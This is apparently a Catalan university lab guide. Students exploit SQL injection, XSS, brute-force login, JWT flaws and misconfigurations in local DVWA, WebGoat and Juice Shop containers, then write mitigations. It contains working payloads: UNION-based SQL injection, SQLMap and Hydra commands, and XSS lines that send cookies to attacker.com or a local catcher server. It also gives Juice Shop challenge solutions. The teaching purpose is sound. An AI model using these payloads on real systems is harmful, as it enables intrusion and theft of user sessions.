Salta el contingut

PR5031 - Explotació i Mitigació de Vulnerabilitats OWASP

Objectius

  • Explotar les 5 vulnerabilitats OWASP Top 10 més comunes en un entorn controlat
  • Comprendre el mecanisme tècnic de cada vulnerabilitat
  • Implementar les mitigacions recomanades per OWASP
  • Usar Burp Suite com a proxy d'intercepció
  • Documentar les vulnerabilitats en format CVE/CWE

Prerequisits

Element Detall
Temps estimat 5 hores
Eines necessàries Docker Desktop, navegador web, Burp Suite Community (gratuït)
Entorn Exclusivament en Docker local - MAI en sistemes reals
Legal Únicament en sistemes propis o autoritzats

Avís legal

Les tècniques d'explotació d'aquesta pràctica únicament s'han d'aplicar en entorns de laboratori controlats (Docker local). Aplicar-les en sistemes reals sense autorització escrita és un delicte penal a l'article 197 bis del Codi Penal espanyol.

Introducció

En aquesta pràctica treballem sobre WebGoat i DVWA (Damn Vulnerable Web Application), aplicacions web dissenyades específicament per a aprendre seguretat web practicant. L'objectiu no és sols explotar vulnerabilitats, sinó entendre el codi vulnerable i com corregir-lo.

flowchart LR
    BROWSER[Navegador] -->|Peticions HTTP| BURP[Burp Suite\nProxy :8080]
    BURP -->|Modifica peticions| WEBGOAT[WebGoat :8081\nDVWA :8082]
    WEBGOAT --> DB[(Base de Dades\nvulnerable)]

Part 1: Configuració de l'entorn

1.1 Docker Compose

# docker-compose.yml
version: '3.8'

services:
  # WebGoat: plataforma d'aprenentatge OWASP
  webgoat:
    image: webgoat/webgoat:latest
    container_name: webgoat-NOMCOGNOM
    hostname: webgoat-NOMCOGNOM
    ports:
      - "8081:8080"
    environment:
      - WEBGOAT_HOST=0.0.0.0
    networks:
      - lab_net

  # DVWA: aplicació web vulnerable
  dvwa:
    image: vulnerables/web-dvwa:latest
    container_name: dvwa-NOMCOGNOM
    hostname: dvwa-NOMCOGNOM
    ports:
      - "8082:80"
    networks:
      - lab_net

  # Juice Shop: aplicació OWASP per a CTF
  juiceshop:
    image: bkimminich/juice-shop:latest
    container_name: juiceshop-NOMCOGNOM
    hostname: juiceshop-NOMCOGNOM
    ports:
      - "3000:3000"
    networks:
      - lab_net

networks:
  lab_net:
    driver: bridge
    internal: false  # Necessita accés a Internet per a recursos externs

1.2 Configurar Burp Suite com a proxy

  1. Obrir Burp Suite Community → Proxy → Proxy Settings
  2. Configurar el proxy a 127.0.0.1:8080
  3. En el navegador (Firefox recomanat), configurar el proxy HTTP a 127.0.0.1:8080
  4. Visitar http://burp i descarregar el certificat CA de Burp
  5. Instal·lar el certificat al navegador
# Iniciar l'entorn
docker compose up -d

# Verificar que tot funciona
docker compose ps

# Accedir a les aplicacions:
# WebGoat: http://localhost:8081/WebGoat
# DVWA: http://localhost:8082 (admin/password)
# Juice Shop: http://localhost:3000

Part 2: SQL Injection (A03:2021)

2.1 Explotar SQL Injection a DVWA

# Configuració DVWA: Nivell de Seguretat LOW
# Navegar a: DVWA Security → Security Level → Low → Submit
# Navegar a: SQL Injection

# En el camp "User ID" provar:
1                  # Input normal
1'                 # Error SQL (confirma vulnerabilitat)
1' OR '1'='1       # Tots els usuaris
1' UNION SELECT 1,2 --     # Detectar columnes
1' UNION SELECT user(),database() --  # User i BBDD actuals
1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database() --

Reflexió 1

Quin era el nom de l'usuari i de la base de dades que has extret? Quina taula (o taules) existien a la base de dades vulnerable?

2.2 Mitigació: Prepared Statements

# ❌ Codi VULNERABLE (DVWA level LOW)
def get_user(user_id):
    query = f"SELECT * FROM users WHERE id = {user_id}"
    cursor.execute(query)
    return cursor.fetchall()

# ✅ Codi SEGUR: Prepared Statements
def get_user_safe(user_id):
    query = "SELECT * FROM users WHERE id = %s"
    cursor.execute(query, (user_id,))  # user_id és un paràmetre, no s'interpola
    return cursor.fetchall()

# ✅ Alternativa ORM (SQLAlchemy)
def get_user_orm(user_id):
    return db.session.query(User).filter(User.id == user_id).first()
    # L'ORM usa prepared statements automàticament

2.3 Automatitzar l'extracció amb SQLMap

# SQLMap: eina d'automatització de SQL injection
docker run --rm \
  --name sqlmap-NOMCOGNOM \
  --network practica-owasp_lab_net \
  -it paoloo/sqlmap:latest \
  -u "http://dvwa-NOMCOGNOM/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<tu_sessio>;security=low" \
  --dbs \
  --batch

# Extreure taules d'una BBDD concreta
# sqlmap -u "..." --cookie="..." -D dvwa --tables --batch

Part 3: Cross-Site Scripting - XSS (A03:2021)

3.1 XSS Reflexiu

<!-- Provar a DVWA → XSS (Reflected) -->
<!-- En el camp "name" provar: -->

<!-- XSS bàsic -->
<script>alert('XSS!')</script>

<!-- XSS per robar cookies -->
<script>document.location='http://attacker.com/?c='+document.cookie</script>

<!-- XSS per bypass filtres bàsics (mayúscules) -->
<ScRiPt>alert('XSS bypass')</ScRiPt>

<!-- XSS sense <script> (event handler) -->
<img src=x onerror="alert('XSS via img')">

<!-- XSS via SVG -->
<svg onload="alert('SVG XSS')">

3.2 XSS Persistent (Emmagatzemat)

<!-- DVWA → XSS (Stored) → Formulari de comentaris -->
<!-- Payload que s'emmagatzema i s'executa per a TOTS els usuaris: -->
<script>
  // Robar cookies de tots els usuaris que vegin el comentari
  new Image().src = 'http://127.0.0.1:9999/?stolen=' + document.cookie;
</script>
# Servidor per capturar les cookies robades (per a demostració)
docker run --rm \
  --name cookie-catcher-NOMCOGNOM \
  --network practica-owasp_lab_net \
  -p 9999:80 \
  python:alpine \
  python -c "
import http.server, urllib.parse
class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        params = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if 'stolen' in params:
            print(f'[!] Cookie robada: {params[\"stolen\"][0]}')
        self.send_response(200)
        self.end_headers()
http.server.HTTPServer(('', 80), Handler).serve_forever()
"

3.3 Mitigació XSS

# ❌ Vulnerable: renderitzar HTML de l'usuari directament
@app.route('/comment')
def comment():
    user_comment = request.args.get('comment')
    return f"<p>El teu comentari: {user_comment}</p>"
    # Si user_comment = "<script>alert(1)</script>" → XSS!

# ✅ Segur: Escapar l'HTML
from markupsafe import escape

@app.route('/comment')
def comment_safe():
    user_comment = request.args.get('comment', '')
    safe_comment = escape(user_comment)
    # <script> → &lt;script&gt; (no s'executa)
    return f"<p>El teu comentari: {safe_comment}</p>"
# ✅ Content Security Policy (CSP) - capçalera HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self'; img-src 'self' data:; object-src 'none';
# Fins i tot si hi ha XSS, el navegador bloca els scripts externs

Reflexió 2

Quan has executat el XSS persistent, quines galetes has capturat? Per quin motiu és el XSS persistent (emmagatzemat) més perillós que el reflexiu?

Part 4: Autenticació Trencada (A07:2021)

4.1 Atac de força bruta a WebGoat

# Usar Burp Suite Intruder per a força bruta:
# 1. Interceptar la petició de login a WebGoat
# 2. Enviar a Intruder (Ctrl+I)
# 3. Marcar el camp "password" com a §password§
# 4. Carregar una wordlist: /usr/share/wordlists/rockyou.txt
# 5. Iniciar l'atac

# Alternativa: Hydra per a força bruta HTTP
docker run --rm \
  --network practica-owasp_lab_net \
  -it vanhauser/hydra:latest \
  -l admin \
  -P /wordlists/top100.txt \
  http-post-form \
  "webgoat-NOMCOGNOM:8080/WebGoat/login:username=^USER^&password=^PASS^:Invalid credentials"

4.2 Anàlisi de tokens JWT

# Descodificar un token JWT (sense verificar la signatura)
# Exemple de token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx

echo "eyJ1c2VyIjoiYWRtaW4ifQ" | base64 -d
# Mostra el payload: {"user":"admin"}

# Provar l'atac "alg:none" (JWT sense signatura)
# Un JWT modificat amb alg=none i rol=admin pot ser acceptat per apps mal configurades
# ✅ Validació correcta de JWT en Python
import jwt
from functools import wraps

def require_auth(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.headers.get('Authorization', '').replace('Bearer ', '')
        try:
            # Especificar EXPLÍCITAMENT els algorismes permesos
            payload = jwt.decode(
                token,
                app.config['JWT_SECRET'],
                algorithms=['HS256'],  # Mai acceptar 'none'!
                options={'require': ['exp', 'iat', 'sub']}  # Camps obligatoris
            )
        except jwt.ExpiredSignatureError:
            return jsonify({'error': 'Token expirat'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'error': 'Token invàlid'}), 401
        return f(payload, *args, **kwargs)
    return decorated

Part 5: Configuració de Seguretat Incorrecta (A05:2021)

5.1 Capçaleres de seguretat HTTP

# Analitzar les capçaleres de seguretat d'una app
docker run --rm \
  --network practica-owasp_lab_net \
  curlimages/curl:latest \
  curl -I http://webgoat-NOMCOGNOM:8080/WebGoat/ 2>/dev/null | \
  grep -E "Content-Security|X-Frame|X-Content|Strict-Transport|Permissions-Policy"

# Eina securityheaders.com (per a webs públiques)
# Per al lab: usar curl i analitzar manualment
# Flask: afegir capçaleres de seguretat amb Flask-Talisman
from flask_talisman import Talisman

talisman = Talisman(
    app,
    content_security_policy={
        'default-src': "'self'",
        'script-src': ["'self'", 'https://cdn.jsdelivr.net'],
        'style-src': ["'self'", "'unsafe-inline'"],
    },
    force_https=True,
    strict_transport_security=True,
    strict_transport_security_max_age=31536000,
    frame_options='DENY',
    content_type_options=True,
    referrer_policy='strict-origin-when-cross-origin'
)

5.2 Informació sensible exposada

# Buscar fitxers sensibles exposats al servidor web
# (provar únicament en DVWA/WebGoat)

for path in /.git/config /.env /config.php /phpinfo.php /backup.sql /.DS_Store /robots.txt; do
  response=$(curl -s -o /dev/null -w "%{http_code}" http://dvwa-NOMCOGNOM/$path)
  echo "$path → HTTP $response"
done

Reflexió 3

De la llista de paths, quins han retornat HTTP 200 (existents)? Quin tipus d'informació sensible exposen? Com ho corregiria un administrador de sistemes?

Part 6: Juice Shop - CTF bàsic

Juice Shop té un sistema de punts per a cadascun dels reptes. Completa almenys 5 reptes:

# Accedir a: http://localhost:3000/#/score-board
# Reptes recomanats per a principiants (★ = dificultat):

★    - DOM XSS (XSS en el camp de cerca)
★    - Error Handling (causar un error 500)
★    - Redirects Tier 1 (redirect a un domni no autoritzat)
★★   - Login Admin (accedir sense contrasenya)
★★   - Password Strength (triar una contrasenya de la llista rockyu)
★★★  - Forged Feedback (enviar feedback com un altre usuari)
★★★  - Login Jim (account takeover via SQL injection)
# Consell per al repte "Login Admin" (SQL injection al login):
# Email: ' OR 1=1--
# Password: qualsevol cosa

# Per al repte "DOM XSS":
# En el camp de cerca, introduir:
<iframe src="javascript:alert(`xss`)">

Reflexió 4

Dels 5 reptes completats, quin t'ha semblat el més difícil? Per quin dels OWASP Top 10 correspon cada repte que has completat?

Informe de la pràctica

Crea el document informe_pr5031_NOMCOGNOM.md:

# Informe PR5031 - Vulnerabilitats OWASP
**Alumne**: NOMCOGNOM
**Data**: ____________________

## 1. SQL Injection
### Exploits realitzats
- Dades extretes: [nom_usuari, base_de_dades, taules]
### Mitigació implementada
- [Codi amb prepared statements]

## 2. XSS
### Payloads funcionals
- Reflexiu: [payload]
- Emmagatzemat: [payload + captura cookie]
### Mitigació implementada
- [Codi d'escaping + capçaleres CSP]

## 3. Autenticació trencada
### Atac realitzat
- [Descripció de l'atac de força bruta o JWT]
### Mitigació
- [Validació JWT correcta o rate limiting]

## 4. Capçaleres de seguretat
### Capçaleres trobades/absents
- [Taula de capçaleres analitzades]
### Capçaleres afegides
- [Configuració Flask-Talisman o equivalent]

## 5. Juice Shop
| Repte | Dificultat | Categoria OWASP | Descripció de la solució |
|-------|------------|-----------------|--------------------------|
| | | | |
...

## 6. Reflexions
[Respostes a les 4 reflexions]

Rúbrica

Vegeu Rúbrica PR5031.